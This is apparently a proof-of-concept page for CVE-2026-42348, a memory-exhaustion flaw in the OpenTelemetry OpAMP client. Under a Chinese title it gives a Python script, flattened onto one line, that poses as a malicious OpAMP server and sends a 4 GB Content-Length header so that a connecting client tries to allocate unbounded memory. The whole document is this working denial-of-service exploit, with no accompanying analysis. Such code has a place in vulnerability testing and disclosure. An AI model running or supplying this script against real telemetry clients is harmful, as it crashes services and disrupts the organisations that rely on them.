CVE-2026-42348 OpenTelemetry OpAmp客户端内存耗尽漏洞

import socket # This script simulates a malicious OpAMP server # It sends an HTTP response with an extremely large Content-Length # to trigger the unbounded buffer allocation vulnerability. def malicious_opamp_server(): host = '0.0.0.0' port = 4320 server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind((host, port)) server_socket.listen(1) print(f"[+] Malicious OpAMP server listening on {port}...") conn, addr = server_socket.accept() print(f"[+] Connection from {addr}") # Simulate a huge payload size (e.g., 4GB) # The vulnerable client will try to allocate this amount of memory malicious_size = 4 * 1024 * 1024 * 1024 # Craft HTTP response headers response_header = ( f"HTTP/1.1 200 OK\r\n" f"Content-Type: application/x-protobuf\r\n" f"Content-Length: {malicious_size}\r\n" f"\r\n" ).encode() try: # Send headers conn.sendall(response_header) print("[+] Malicious headers sent. Waiting for client to process...") # In a real exploit, you might start sending garbage data here # or just keep the connection open while the client tries to allocate memory. # Sending a small chunk to trigger the read logic: conn.sendall(b"A" * 1024) except Exception as e: print(f"[-] Error: {e}") finally: conn.close() if __name__ == "__main__": malicious_opamp_server()